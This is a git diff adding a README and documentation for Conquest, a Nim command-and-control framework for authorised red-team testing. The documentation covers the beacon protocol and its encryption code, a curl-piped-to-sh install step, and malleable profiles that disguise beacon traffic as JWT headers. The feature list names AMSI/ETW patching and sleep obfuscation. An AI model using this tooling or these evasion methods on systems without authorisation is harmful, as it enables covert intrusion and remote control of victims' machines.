diff --git a/README.md b/README.md index 0097ff7..7f82b44 100644 --- a/README.md +++ b/README.md @@ -1,11 +1,60 @@ -# Conquest Framework +![Banner](assets/banner.png) -Compile with Nim: -``` -nim c src/server/main.nim -``` +**Conquest** is a feature-rich, extensible and malleable command & control/post-exploitation framework developed for penetration testing and adversary simulation. Conquest's team server, operator client and agent have all been developed from scratch using the Nim programming language and are designed with modularity and flexibility in mind. It features custom C2 communication via binary packets over HTTP, a client GUI developed using Dear ImGui and the `Monarch` agent, a modular C2 implant aimed at Windows targets. -From the `bin` directory, start the team server: -``` -./server -``` \ No newline at end of file +![Conquest Client](assets/readme-1.png) + +> [!CAUTION] +> Conquest is designed to be only used for educational purposes, research and authorized security testing of systems that you own or have an explicit permission to attack. The author provides no warranty and accepts no liability for misuse. + +## Getting Started + +The Conquest team server and operator client are currently meant to be compiled and used on a Ubuntu/Debian-based operating system. For getting the framework up and running, follow the [installation instructions](./docs/1-INSTALLATION.md). + +For more information about architecture, usage and features, check out the [documentation](./docs/README.md)! + +## Features + +- Flexible operator GUI client developed using Dear ImGui +- HTTP listeners with support for callback hosts (Redirectors) +- Support for malleable C2 profiles (TOML) +- Customizable payload generation +- Encrypted C2 communication leveraging AES256-GCM and X25519 key exchange +- Sleep obfuscation via Ekko, Zilean or Foliage with support for call stack spoofing +- In-memory execution of COFF/BOF files +- In-memory execution of .NET assemblies +- Token impersonation +- AMSI/ETW patching using hardware breakpoints +- Compile-time string obfuscation +- Wide selection of built-in post-exploitation modules +- Looting and loot management (downloads & screenshots) +- Logging of all operator activity +- Self-destruct functionality +- Agent kill date & working hours +- Fully written in Nim + +## Screenshots + +![Payload generation](assets/readme-2.png) + +![Screenshot Preview](assets/readme-3.png) + +## Acknowledgements + +The following projects and people have significantly inspired and/or helped with the development of this framework. + +- Inspiration: + - [Havoc](https://github.com/havocFramework/havoc) by [C5pider](https://github.com/Cracked5pider) + - [Cobalt Strike](https://www.cobaltstrike.com) + - [AdaptixC2](https://github.com/Adaptix-Framework/AdaptixC2/) +- Development: + - [imguin](https://github.com/dinau/imguin) by [dinau](https://github.com/dinau/) (ImGui Wrapper for Nim) + - [MalDev Academy](https://maldevacademy.com/) + - [Creds](https://github.com/S3cur3Th1sSh1t/Creds) by [S3cur3Th1sSh1t](https://github.com/S3cur3Th1sSh1t/) + - [malware](https://github.com/m4ul3r/malware/) by [m4ul3r](https://github.com/m4ul3r/) + - [winim](https://github.com/khchen/winim) + - [OffensinveNim](https://github.com/byt3bl33d3r/OffensiveNim) +- Existing C2's written (partially) in Nim + - [NimPlant](https://github.com/chvancooten/NimPlant) + - [Nimhawk](https://github.com/hdbreaker/Nimhawk) + - [grc2](https://github.com/andreiverse/grc2) \ No newline at end of file diff --git a/assets/agent-1.png b/assets/agent-1.png new file mode 100644 index 0000000..d38dfa8 Binary files /dev/null and b/assets/agent-1.png differ diff --git a/assets/agent-2.png b/assets/agent-2.png new file mode 100644 index 0000000..ffb0969 Binary files /dev/null and b/assets/agent-2.png differ diff --git a/assets/agent-3.png b/assets/agent-3.png new file mode 100644 index 0000000..0933b41 Binary files /dev/null and b/assets/agent-3.png differ diff --git a/assets/agent-4.png b/assets/agent-4.png new file mode 100644 index 0000000..66fc249 Binary files /dev/null and b/assets/agent-4.png differ diff --git a/assets/agent-5.png b/assets/agent-5.png new file mode 100644 index 0000000..b07c8d6 Binary files /dev/null and b/assets/agent-5.png differ diff --git a/assets/agent-6.png b/assets/agent-6.png new file mode 100644 index 0000000..a31f702 Binary files /dev/null and b/assets/agent-6.png differ diff --git a/assets/agent-7.png b/assets/agent-7.png new file mode 100644 index 0000000..c22603e Binary files /dev/null and b/assets/agent-7.png differ diff --git a/assets/agent.png b/assets/agent.png new file mode 100644 index 0000000..618d4d8 Binary files /dev/null and b/assets/agent.png differ diff --git a/assets/architecture-1.png b/assets/architecture-1.png new file mode 100644 index 0000000..ae5330d Binary files /dev/null and b/assets/architecture-1.png differ diff --git a/assets/architecture-2.png b/assets/architecture-2.png new file mode 100644 index 0000000..7c5d7b0 Binary files /dev/null and b/assets/architecture-2.png differ diff --git a/assets/architecture-3.png b/assets/architecture-3.png new file mode 100644 index 0000000..912c980 Binary files /dev/null and b/assets/architecture-3.png differ diff --git a/assets/banner.png b/assets/banner.png new file mode 100644 index 0000000..6d410db Binary files /dev/null and b/assets/banner.png differ diff --git a/assets/client-1.png b/assets/client-1.png new file mode 100644 index 0000000..fe4e3f9 Binary files /dev/null and b/assets/client-1.png differ diff --git a/assets/client-2.png b/assets/client-2.png new file mode 100644 index 0000000..087c037 Binary files /dev/null and b/assets/client-2.png differ diff --git a/assets/client-3.png b/assets/client-3.png new file mode 100644 index 0000000..8559ac5 Binary files /dev/null and b/assets/client-3.png differ diff --git a/assets/client-5.png b/assets/client-5.png new file mode 100644 index 0000000..a62e5fe Binary files /dev/null and b/assets/client-5.png differ diff --git a/assets/client-7.png b/assets/client-7.png new file mode 100644 index 0000000..b02a728 Binary files /dev/null and b/assets/client-7.png differ diff --git a/assets/client-8.png b/assets/client-8.png new file mode 100644 index 0000000..4c03537 Binary files /dev/null and b/assets/client-8.png differ diff --git a/assets/client-9.png b/assets/client-9.png new file mode 100644 index 0000000..80652a4 Binary files /dev/null and b/assets/client-9.png differ diff --git a/assets/client.png b/assets/client.png new file mode 100644 index 0000000..dbae476 Binary files /dev/null and b/assets/client.png differ diff --git a/assets/install.png b/assets/install.png new file mode 100644 index 0000000..e67b0ca Binary files /dev/null and b/assets/install.png differ diff --git a/assets/listener.png b/assets/listener.png new file mode 100644 index 0000000..ed0046d Binary files /dev/null and b/assets/listener.png differ diff --git a/assets/modules-1.png b/assets/modules-1.png new file mode 100644 index 0000000..a86ca76 Binary files /dev/null and b/assets/modules-1.png differ diff --git a/assets/modules-2.png b/assets/modules-2.png new file mode 100644 index 0000000..33deb25 Binary files /dev/null and b/assets/modules-2.png differ diff --git a/assets/modules-3.png b/assets/modules-3.png new file mode 100644 index 0000000..c3f32be Binary files /dev/null and b/assets/modules-3.png differ diff --git a/assets/modules-4.png b/assets/modules-4.png new file mode 100644 index 0000000..f3eb0e6 Binary files /dev/null and b/assets/modules-4.png differ diff --git a/assets/modules-5.png b/assets/modules-5.png new file mode 100644 index 0000000..bab3083 Binary files /dev/null and b/assets/modules-5.png differ diff --git a/assets/modules-6.png b/assets/modules-6.png new file mode 100644 index 0000000..5ab8835 Binary files /dev/null and b/assets/modules-6.png differ diff --git a/assets/modules-7.png b/assets/modules-7.png new file mode 100644 index 0000000..d5f9a59 Binary files /dev/null and b/assets/modules-7.png differ diff --git a/assets/modules-8.png b/assets/modules-8.png new file mode 100644 index 0000000..9946ed6 Binary files /dev/null and b/assets/modules-8.png differ diff --git a/assets/modules-9.png b/assets/modules-9.png new file mode 100644 index 0000000..a722f70 Binary files /dev/null and b/assets/modules-9.png differ diff --git a/assets/modules.png b/assets/modules.png new file mode 100644 index 0000000..0ce6c5e Binary files /dev/null and b/assets/modules.png differ diff --git a/assets/profile-1.png b/assets/profile-1.png new file mode 100644 index 0000000..eb95de0 Binary files /dev/null and b/assets/profile-1.png differ diff --git a/assets/profile-2.png b/assets/profile-2.png new file mode 100644 index 0000000..1b16456 Binary files /dev/null and b/assets/profile-2.png differ diff --git a/assets/profile-3.png b/assets/profile-3.png new file mode 100644 index 0000000..0444a6a Binary files /dev/null and b/assets/profile-3.png differ diff --git a/assets/readme-1.png b/assets/readme-1.png new file mode 100644 index 0000000..440acdc Binary files /dev/null and b/assets/readme-1.png differ diff --git a/assets/readme-2.png b/assets/readme-2.png new file mode 100644 index 0000000..d034ed3 Binary files /dev/null and b/assets/readme-2.png differ diff --git a/assets/readme-3.png b/assets/readme-3.png new file mode 100644 index 0000000..e0f36f4 Binary files /dev/null and b/assets/readme-3.png differ diff --git a/conquest.nimble b/conquest.nimble index ad5ab25..240baa6 100644 --- a/conquest.nimble +++ b/conquest.nimble @@ -29,4 +29,6 @@ requires "imguin >= 1.92.2.1" requires "zippy >= 0.10.16" requires "mummy >= 0.4.6" requires "whisky >= 0.1.3" -requires "native_dialogs >= 0.2.0" \ No newline at end of file +requires "native_dialogs >= 0.2.0" +requires "pixie >= 5.1.0" +requires "cligen >= 1.9.3" \ No newline at end of file diff --git a/data/profile.toml b/data/profile.toml index bca89e5..3adef67 100644 --- a/data/profile.toml +++ b/data/profile.toml @@ -1,8 +1,6 @@ # Conquest default configuration file - name = "cq-default-profile" - # Important file paths and locations private-key-file = "data/keys/conquest-server_x25519_private.key" database-file = "data/conquest.db" @@ -11,26 +9,23 @@ database-file = "data/conquest.db" [team-server] port = 37573 -[server.users] - - -# General agent settings -[agent] -sleep = 5 -user-agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" +# [team-server.users] # ---------------------------------------------------------- # HTTP GET # ---------------------------------------------------------- # Defines URI endpoints for HTTP GET requests [http-get] +user-agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" + +# Defines URI endpoints for HTTP GET requests endpoints = [ "/get", "/api/v1.2/status.js" ] # Defines where the heartbeat is placed within the HTTP GET request -# Allows for data transformation using encoding (base64, base64url, ...), appending and prepending of strings +# Allows for data transformation using encoding (base64, ...), appending and prepending of strings # Metadata can be stored in a Header (e.g. JWT Token, Session Cookie), URI parameter, appended to the URI or request body # Encoding is only applied to the payload and not the prepended or appended strings [http-get.agent.heartbeat] @@ -52,7 +47,10 @@ suffix = ".######################################-####" # Defines arbitrary URI parameters that are added to the request [http-get.agent.parameters] id = "#####-#####" -lang = "en-US" +lang = [ + "en-US", + "de-AT" +] # Defines arbitrary headers that are added by the agent when performing a HTTP GET request [http-get.agent.headers] @@ -83,6 +81,8 @@ placement = { type = "body" } # HTTP POST # ---------------------------------------------------------- [http-post] +user-agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" + # Defines URI endpoints for HTTP POST requests endpoints = [ "/post", diff --git a/docs/1-INSTALLATION.md b/docs/1-INSTALLATION.md new file mode 100644 index 0000000..2bfab7f --- /dev/null +++ b/docs/1-INSTALLATION.md @@ -0,0 +1,73 @@ +# Installation + +## 1. Clone the Conquest repository +``` +git clone https://github.com/jakobfriedl/conquest +cd conquest +``` + +## 2. Install Nim. + +```bash +curl https://nim-lang.org/choosenim/init.sh -sSf | sh +``` + +After it is installed, the Nim binaries need to be added to the PATH. This is done by adding the following line to the `.bashrc`/`.zshrc`/`.profile` configuration. + +``` +export PATH=/home//.nimble/bin:$PATH +``` + +## 3. Install dependencies + +The Conquest binaries for team server and client are designed to be compiled and run on Ubuntu/Debian-based systems. The operator client requires the subsequent dependencies to be installed. To run the client on a Windows host, install the same dependencies in WSL. + +``` +sudo apt update +sudo apt install gcc g++ make git curl xz-utils +sudo apt install libglfw3-dev libgl1-mesa-dev libglu1-mesa-dev libx11-dev libxrandr-dev libxinerama-dev libxcursor-dev libxi-dev libgtk2.0-0 +``` + +In some cases, the agent build process fails due to insufficient permissions. Execute the following command to make the build script executable. + +``` +chmod +x src/agent/build.sh +``` + +## 4. Compile Conquest binaries + +The Conquest binaries are compiled using the `nimble` command, which installs and updates all Nim libraries and dependencies automatically. + +``` +nimble server +nimble client +``` + +Optionally, the required dependencies can be installed manually using the following command prior to the compilation. + +``` +nimble install -d +``` + +## 5. Start the Conquest team server with a C2 profile. + +The default profile is located in [data/profile.toml](../data/profile.toml) and can be adapted by the operator. +``` +bin/server -p data/profile +``` + +On the first start, the Conquest team server creates the Conquest database in the data directory, as well as the team server's private key in data/keys, which is used for the key exchange between team server, client and agent. + +![Team server start](../assets/install.png) + +## 6. Start the Conquest operator client + +``` +bin/client +``` + +By default, the Conquest client connects to localhost:37573 to connect to the team server. In order to connect to a remote team server, the address and port can be specified from the command-line using the `-i` and `-p` flags. The team server port can be configured in the malleable C2 profile used by the server. + +``` +bin/client -i -p +``` \ No newline at end of file diff --git a/docs/2-ARCHITECTURE.md b/docs/2-ARCHITECTURE.md new file mode 100644 index 0000000..5d8719a --- /dev/null +++ b/docs/2-ARCHITECTURE.md @@ -0,0 +1,352 @@ +# Architecture + +## Contents +- [Components](#components) + - [Team Server](#team-server) + - [Operator Client](#operator-client) + - [Agent (Monarch)](#agent-monarch) +- [Communication Protocol](#communication-protocol) + - [Registration](#registration) + - [Heartbeat](#heartbeat) + - [Task](#task) + - [Result](#result) +- [Cryptography](#cryptography) +- [Directory Structure](#directory-structure) + - [Logging](#logging) + - [Looting](#looting) + + +## Components + +The Conquest command & control framework consist of three major components that interact with each other in different ways. Together, they enable penetration tester and red teamers to remotely control systems, transfer files and more. The diagram below shows Conquests's overall architecture. + +![Architecture](../assets/architecture-1.png) + +### Team Server + +The Conquest team server is the core of the framework, as it's main responsibility is serving the HTTP listeners with which the C2 agents communicate and queuing the tasks that are issued by the operator client. The team server further manages data about agents, listeners and loot in the Conquest database and records all agent and operator activity in log files. The team server exposes a WebSocket interface on port 37573 by default, which is used by the operator client to connect to the team server. This port can be changed in the C2 profile in the `[team-server]` section. + +```toml +[team-server] +port = 37573 +``` + +Starting the team server with the default profile is done with the following command. + +``` +bin/server -p data/profile.toml +``` + +### Operator Client + +The Conquest client is used by the operator to conduct the engagement. It is used for starting and stopping listeners, generating `Monarch` payloads and interacting with active agent sessions. The agent console is used to send commands to the agent and display the output. Currently, only one client can connect to the Conquest team server. By default, the client connects to localhost:37573, but the address and port can be specified in the command-line as shown below. + +``` +bin/client -i -p +``` + +![Operator Client](../assets/architecture-2.png) + +More information about the user interface can be found [here](./4-CLIENT.md) + +### Agent (Monarch) + +The agent/implant/payload/beacon in Conquest is called `Monarch`. It is exclusively built to target Windows systems and can be equipped with different modules or commands during the generation. An agent is compiled to connect to a specific listener and has it's configuration embedded during the generation process. When it connects back to the team server, it can be tasked to execute the commands that have been built into it. As most other C2 agents, the `Monarch` uses beaconing to check-in with the team server periodically to poll for new tasks or to post the results of completed tasks. This is done over HTTP using a custom binary communication protocol, which is explained in more detail in subsequent sections. + +## Communication Protocol + +Conquest’s C2 communication occurs over HTTP and uses 4 distinct types of packets: + +- **Registration**: The first message that a new agent sends to the team server to register itself to it. Contains metadata to identify the agent and the system it is running on, such as the IP-address, hostname and current username. +- **Heartbeat**: Small check-in requests that tell the team server that the agent is still alive and waiting for tasks. +- **Task**: When an operator interacts with an agents and executes a command, a task packet is dispatched that contains the command to be executed and all arguments. +- **Result**: After an agent completes a task, it sends a packet containing the command output to the team server, which displays the result to the operator. + +Each packet consists of a fixed-size header and a variable-length body, with the header containing important unencrypted metadata that helps the recipient process the rest of the packet. Among other fields, it contains the 4-byte hex-identifier of the agent, which tells the team server which agent is polling for tasks or posting results. The variable-length payload body is encrypted using AES-256 GCM using a asymmetrically shared session key and a randomly generated initialization vector (IV), which is included in the header for every message. The GCM mode of operation creates the 16-byte Galois Message Authentication Code (GMAC), which is used to verify that the message has not been tampered with. The cryptographic implementations are more thoroughly explained in the [Cryptography](#cryptography) section. + +``` + 0 1 2 3 4 + ├───────────────┴───────────────┴───────────────┴───────────────┤ +4 │ Magic Value │ + ├───────────────┬───────────────┬───────────────────────────────┤ +8 │ Version │ Packet Type │ Packet Flags │ + ├───────────────┴───────────────┴───────────────────────────────┤ +12 │ Payload Size │ + ├───────────────────────────────────────────────────────────────┤ +16 │ Agent ID │ + ├───────────────────────────────────────────────────────────────┤ +20 │ Sequence Number │ + ├───────────────────────────────────────────────────────────────┤ +24 │ │ +28 │ IV (12 bytes) │ +32 │ │ + ├───────────────────────────────────────────────────────────────┤ +36 │ │ +40 │ GMAC Authentication Tag │ +44 │ (16 bytes) │ +48 │ │ + └───────────────────────────────────────────────────────────────┘ + [Header] +``` + +Here is the Nim type for the Header: +```nim +type Header* = object + magic*: uint32 # [4 bytes ] magic value + version*: uint8 # [1 byte ] protocol version + packetType*: uint8 # [1 byte ] message type + flags*: uint16 # [2 bytes ] message flags + size*: uint32 # [4 bytes ] size of the payload body + agentId*: Uuid # [4 bytes ] agent id, used as AAD for encryption + seqNr*: uint32 # [4 bytes ] sequence number, used as AAD for encryption + iv*: Iv # [12 bytes] random IV for AES256 GCM encryption + gmac*: AuthenticationTag # [16 bytes] authentication tag for AES256 GCM encryption +``` + +### Registration + +The **Registration** packet is the first packet that is sent from the agent to the team server. The `packetType` field in the header is set to `MSG_REGISTER`, which tells the team server to handle the request as a new connection. The `agentId` field in the header is set to a randomly generated 4-byte Hex-UUID, which is used to uniquely identify the agent all further communication. The packet body includes important metadata about the system the agent is executed on, such as username, domain and IP address. Furthermore, it also contains the agent's public key, which is used by the team server to derive the session key, with which the communication between them. Variable length data is handled using a TLV (type-length-value) approach. For instance, strings are prefixed with a 4-byte length indicator, instructing the unpacker how many bytes need to be read to retrieve the value. + +```nim +type + AgentMetadata* = object + listenerId*: Uuid + username*: seq[byte] + hostname*: seq[byte] + domain*: seq[byte] + ip*: seq[byte] + os*: seq[byte] + process*: seq[byte] + pid*: uint32 + isElevated*: uint8 + sleep*: uint32 + jitter*: uint32 + modules*: uint32 + + Registration* = object + header*: Header + agentPublicKey*: Key # [32 bytes ] Public key of the connecting agent for key exchange + metadata*: AgentMetadata +``` + +### Heartbeat + +The **Heartbeat** packet is comparable to a simple Check-in request. Between sleep delays, the agent sends this packet to the team server to poll for new tasks. It also serves as a way to tell if an agent is still alive and active, or has become unresponsive. + +```nim +type Heartbeat* = object + header*: Header # [48 bytes ] fixed header + listenerId*: Uuid # [4 bytes ] listener id + timestamp*: uint32 # [4 bytes ] unix timestamp +``` + +### Task + +When a new **Task** is dispatched and fetched by an agent, a packet with the structure outlined by the Nim code below is created. It contains the ID of the task, listener and command to be executed, as well as a list of arguments that have been passed to the command. + +```nim +type + TaskArg* = object + argType*: uint8 # [1 byte ] argument type + data*: seq[byte] # variable length data (for variable data types (STRING, BINARY), the first 4 bytes indicate data length) + + Task* = object + header*: Header + taskId*: Uuid # [4 bytes ] task id + listenerId*: Uuid # [4 bytes ] listener id + timestamp*: uint32 # [4 bytes ] unix timestamp + command*: uint16 # [2 bytes ] command id + argCount*: uint8 # [1 byte ] number of arguments + args*: seq[TaskArg] # variable length arguments +``` + +The number of arguments the agent needs to process is indicated by the argument count (argc) field. The first byte of an argument defines the argument’s type, such as INT, STRING or BINARY. While some argument types have fixed sized (boolean = 1 byte, integers = 4 bytes, …), variable-length arguments, such as strings or binary data are further prefixed with a 4-byte data length field that tells the recipient how many bytes they have to read until the next argument is defined. The currently supported argument types, `STRING`, `INT`, `SHORT`, `LONG`, `BOOL` and `BINARY` determine how an argument is processed. For instance, `BINARY` indicates that file path is passed as an argument, which is then read into memory and sent over the network. + +### Result + +For each task that an agent executes, a result packet is sent to the team server. This packet is structured similarly to the task, with the difference being that it contains the task output instead of the arguments. The Status field indicates whether the task was completed successfully or if an error was encountered during the execution. The Type field informs the team server of the data type of the task output, with the options being `STRING`, `BINARY` or `NO_OUTPUT`. While string data would be displayed in the user interface to the operator, binary data is written directly to a file. + +``` + 0 2 4 6 8 + ├───────────────┴───────────────┴───────────────┴───────────────┤ +0 │ | + | Header (48 bytes) | + | | + ├───────────────────────────────┬───────────────────────────────┤ +48 │ Task ID │ Listener ID │ + ├───────────────────────────────┼───────────────┬────────┬──────┤ +56 | Timestamp │ CMD │ Status │ Type │ + ├───────────────────────────────┼───────────────┴────────┴──────┤ +64 │ Length │ │ + ├───────────────────────────────┘ │ + │ │ + │ Result Data │ +?? │ │ + └───────────────────────────────────────────────────────────────┘ + [Result] +``` + +```nim +type TaskResult* = object + header*: Header + taskId*: Uuid # [4 bytes ] task id + listenerId*: Uuid # [4 bytes ] listener id + timestamp*: uint32 # [4 bytes ] unix timestamp + command*: uint16 # [2 bytes ] command id + status*: uint8 # [1 byte ] success flag + resultType*: uint8 # [1 byte ] result data type + length*: uint32 # [4 bytes ] result length + data*: seq[byte] # variable length result +``` + +## Cryptography + +As mentioned before, the payload body of a network packet is serialized and encrypted. With symmetric ciphers like AES, the agent and team server have to agree on the same encryption key to process the data. However, the key exchange is far more difficult than just sending a randomly generated key over the network, as this would allow anyone to intercept and use it to decrypt and read the C2 traffic. The solution to this dilemma is public key cryptography. The server and all agents own a key pair, consisting of a private key that is kept secret and a public key which can be shared with everyone. The shared secret is computed using the X255192 key exchange, which is based on elliptic-curve cryptography. On a high level, it involves the following steps: + +- Both parties generate a **32-byte private key**, from which they derive the corresponding public key. +- Both parties calculate a **shared secret** by using their own private key and the other’s public key. +- A 32-byte session key is derived from the shared secret, which is used to encrypt all C2 communication. +- Ephemeral keys, such as the agent’s private key and the shared secret are **wiped from memory** as soon as they are no longer needed to prevent them from being compromised. + +The X25519 implementation used in Conquest is exposed by the [Monocypher](https://monocypher.org/) library. The shared secret is not suitable to be used as the encryption key, as it is not cryptographically random. To derive a session key, the secret is hashed using the Blake2B hashing algorithm along with some other information, such as the public keys and a message, to create a secure 32-byte key. + +```nim +# Key derivation +proc combineKeys(publicKey, otherPublicKey: Key): Key = + # XOR is a commutative operation, that ensures that the order of the public keys does not matter + for i in 0..<32: + result[i] = publicKey[i] xor otherPublicKey[i] + +proc deriveSessionKey*(keyPair: KeyPair, publicKey: Key): Key = + var key: Key + + # Calculate shared secret (https://monocypher.org/manual/x25519) + var sharedSecret = keyExchange(keyPair.privateKey, publicKey) + + # Add combined public keys to hash + let combinedKeys: Key = combineKeys(keyPair.publicKey, publicKey) + let hashMessage: seq[byte] = "CONQUEST".toBytes() & @combinedKeys + + # Calculate Blake2b hash and extract the first 32 bytes for the AES key (https://monocypher.org/manual/blake2b) + let hash = blake2b(hashMessage, sharedSecret) + copyMem(key[0].addr, hash[0].addr, sizeof(Key)) + + # Cleanup + wipeKey(sharedSecret) + + return key +``` + +When a `Monarch` is generated, it has the public key of the team server patched into it's binary. When the agent is executed, it generates its own key pair. Using the newly created private key and the servers’ public key, it subsequently derives the session key used for the packet encryption. At that point, the agent can wipe its own private key from memory, as it is no longer needed. For the server to be able to derive the same session key, the agent includes its public key in the registration packet, as mentioned before. When the server deserializes and parses the registration packet, it uses its own private key and the agent’s public key to derive the same session key and stores it in a database. Following this exchange, all communication between an agent and the server is encrypted using this session key as explained in the following section. + +With the key exchange completed, what follows is the encryption of a network packet’s body using the AES-256 block cipher in the Galois/Counter Mode (GCM) mode of operation. GCM provides authenticated encryption with associated data (AEAD), ensuring that both confidentiality and integrity are guaranteed. This is achieved by combining the Counter Mode (CTR) for encryption and GHASH for authentication. In addition to encrypting the data, an authentication tag, also known as Galois Message Authentication Code (GMAC) is calculated based on the encrypted data and additional authenticated data (AAD). AAD is any unencrypted data, for which integrity and authenticity should be ensured, such as the sequence number that prevents packet replay attacks. If the ciphertext or sequence number of a packet are modified before it is received, the recipient’s recalculation of the 16-byte GMAC will not match the tag included in the packet header, allowing the server or agent to detect tampering and discard the packet. + +```nim +import nimcrypto + +proc encrypt*(key: Key, iv: Iv, data: seq[byte], sequenceNumber: uint32): (seq[byte], AuthenticationTag) = + + # Encrypt data using AES-256 GCM + var encData = newSeq[byte](data.len) + var tag: AuthenticationTag + + var ctx: GCM[aes256] + ctx.init(key, iv, sequenceNumber.toBytes()) + + ctx.encrypt(data, encData) + ctx.getTag(tag) + ctx.clear() + + return (encData, tag) + +proc decrypt*(key: Key, iv: Iv, encData: seq[byte], sequenceNumber: uint32): (seq[byte], AuthenticationTag) = + + # Decrypt data using AES-256 GCM + var data = newSeq[byte](encData.len) + var tag: AuthenticationTag + + var ctx: GCM[aes256] + ctx.init(key, iv, sequenceNumber.toBytes()) + + ctx.decrypt(encData, data) + ctx.getTag(tag) + ctx.clear() + + return (data, tag) +``` + +## Directory Structure + +On a high level, the directory structure of the Conquest framework looks as follows. + +``` +CONQUEST +├── bin/ : Compiled binaries +├── data/ +│ ├── keys/ : Private key(s) +│ ├── logs/ +│ │ ├── / : Agent session logs +│ │ ├── teamserver.log : Team server log (connections, events) +│ └── loot/ +│ ├── / : Agent loot (screenshots, downloads) +│ ├── conquest.db : Team server database +│ └── profile.toml : Default profile +├── docs/ : Documentation +├── src/ +│ ├── agent/ : Agent source code +│ ├── client/ : Operator client source code +│ ├── common/ : Cryptography, serialization, etc. +│ ├── modules/ : Agent modules +│ └── server/ : Team server source code +└── conquest.nimble : "Makefile" +``` + +### Logging + +For each agent, there is a folder within the data/logs directory which includes the `session.log` file. This log file records all commands and command outputs that are executed in an agent session in the same way they are printed to the agent console. + +``` +[30-10-2025 15:16:21][>>>>] pwd +[30-10-2025 15:16:25][INFO] 99 bytes sent. +[30-10-2025 15:16:25][INFO] 127 bytes received. +[30-10-2025 15:16:25][DONE] Task BFBA9F7E completed. +[30-10-2025 15:16:25][INFO] Output: +C:\Users\alexander\Desktop + +[30-10-2025 15:16:32][>>>>] shell whoami +[30-10-2025 15:16:34][INFO] 122 bytes sent. +[30-10-2025 15:16:34][INFO] 128 bytes received. +[30-10-2025 15:16:34][DONE] Task 8F00633E completed. +[30-10-2025 15:16:34][INFO] Output: +conquest\alexander + + +[30-10-2025 15:16:37][>>>>] ls +[30-10-2025 15:16:39][INFO] 94 bytes sent. +[30-10-2025 15:16:39][INFO] 275 bytes received. +[30-10-2025 15:16:39][DONE] Task 0A1F2B36 completed. +[30-10-2025 15:16:39][INFO] Output: +Directory: C:\Users\alexander\Desktop + +Mode LastWriteTime Length Name +---- ------------- ------ ---- +-a-hs 29/10/2025 10:21:49 282 desktop.ini +-a--- 30/10/2025 07:15:35 1042944 monarch.x64.exe + +2 file(s) +0 dir(s) +``` + +The `teamserver.log` records other events, that don't involve an interaction with an agent, such as the starting and stopping of listeners or new agent connections. + +``` +[03-10-2025 12:42:09][+] Connected to Conquest team server. +[03-10-2025 12:42:24][+] Started listener 536F8884 on 127.0.0.1:8080. +[03-10-2025 12:43:01][*] Agent 28A6CC6B connected to listener 536F8884. +``` + +### Looting + +In Conquest, the term loot encompasses file downloads and screenshots retrieved from an agent. While metadata about these loot items is stored in the database, the actual files and images are also stored on disk on the team server in the data/loot directory. + +![Loot](../assets/architecture-3.png) \ No newline at end of file diff --git a/docs/3-PROFILE.md b/docs/3-PROFILE.md new file mode 100644 index 0000000..89668b6 --- /dev/null +++ b/docs/3-PROFILE.md @@ -0,0 +1,168 @@ +# Malleable C2 Profiles + +## Contents + +- [General](#general) +- [Team server settings](#team-server-settings) +- [GET settings](#get-settings) + - [Data transformation](#data-transformation) + - [Request options](#request-options) + - [Response options](#response-options) +- [POST settings](#post-settings) + +## General + +Conquest supports malleable C2 profiles written using the TOML configuration language. This allows the complete customization of network traffic using data transformation, encoding and randomization. Wildcard characters `#` are replaced by a random alphanumerical character, making it possible to add even more variation to requests via randomized parameters or cookies. + +General settings that are defined at the beginning of the profile are the profile name and the relative location of important files, such as the team server's private key or the Conquest database. + +```toml +name = "cq-default-profile" +private-key-file = "data/keys/conquest-server_x25519_private.key" +database-file = "data/conquest.db" +``` + +## Team server settings +The team server settings currently only include the port that the team server uses for the Websocket handler. It is set under the `[toml-server]` block. + +```toml +[team-server] +port = 37573 +``` + +## GET settings + +The largest part of the malleable C2 profiles is taken up by the configuration of HTTP GET and POST requests. Starting with HTTP GET, it is possible to define the User-Agent that is used for GET requests, as well as the URI endpoints which are requested by the agent. Here, either a regular string or an array of string can be used. While the listener creates a route for each endpoint passed to this array, the agent randomly selects one of the endpoints for each GET request. Endpoints must not include `#` characters, as the randomization is done for each request separately. + +```toml +[http-get] +user-agent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" +endpoints = [ + "/get", + "/api/v1.2/status.js" +] +``` + +### Data transformation + +A huge advantage of Conquest's C2 profile is the customization of where the heartbeat, or check-in request is placed within the request. This is where data transformation options come into play. The following table shows all available options. + +| Name | Type | Description | +| --- | --- | --- | +| placement.type | OPTION | Determine where in the request the heartbeat is placed. The following options are available: `header`, `parameter`, `uri`, `body`| +| placement.name | STRING | Name of the header/parameter to place the heartbeat in.| +| encoding.type | OPTION | Type of encoding to use. The following options are available: `base64`, `none` (default) | +| encoding.url-safe | BOOL | Only required if encoding.type is set to `base64`. Uses `-` and `_` instead of `+`, `=` and `/`. | +| prefix | STRING | String to prepend before the heartbeat payload. | +| suffix | STRING | String to append after the heartbeat payload. | + +The order of operations is: +1. Encoding +2. Addition of prefix & suffix +3. Placement in the request + +On the other hand, the server processes the requests in the following order: +1. Retrieval from the request +2. Removal of prefix & suffix +3. Decoding + +> [!NOTE] +> Heartbeat placement is currently only implemented for `header` and `parameter`, as those are the most commonly used options. + +To illustrate how that works, the following TOML configuration transforms a base64-encoded heartbeat packet into a string that looks like a JWT token and places it in the Authorization header. In this case, the `#` in the suffix are randomized, ensuring that the token is different for every request. + +```toml +[http-get.agent.heartbeat] +placement = { type = "header", name = "Authorization" } +encoding = { type = "base64", url-safe = true } +prefix = "Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9." +suffix = ".######################################-####" +``` + +![Heartbeat in Authorization Header](../assets/profile-1.png) + +Check the [default profile](../data/profile.toml) for more examples. + +### Request options + +The profile language makes is further possible to add parameters and headers. When arrays are passed to these settings instead of strings, a random member of the array is chosen. Again, character randomization can be used to break up repeating patterns. + +```toml +# Defines arbitrary URI parameters that are added to the request +[http-get.agent.parameters] +id = "#####-#####" +lang = [ + "en-US", + "de-AT" +] + +# Defines arbitrary headers that are added by the agent when performing a HTTP GET request +[http-get.agent.headers] +Host = [ + "wikipedia.org", + "google.com", + "127.0.0.1" +] +Connection = 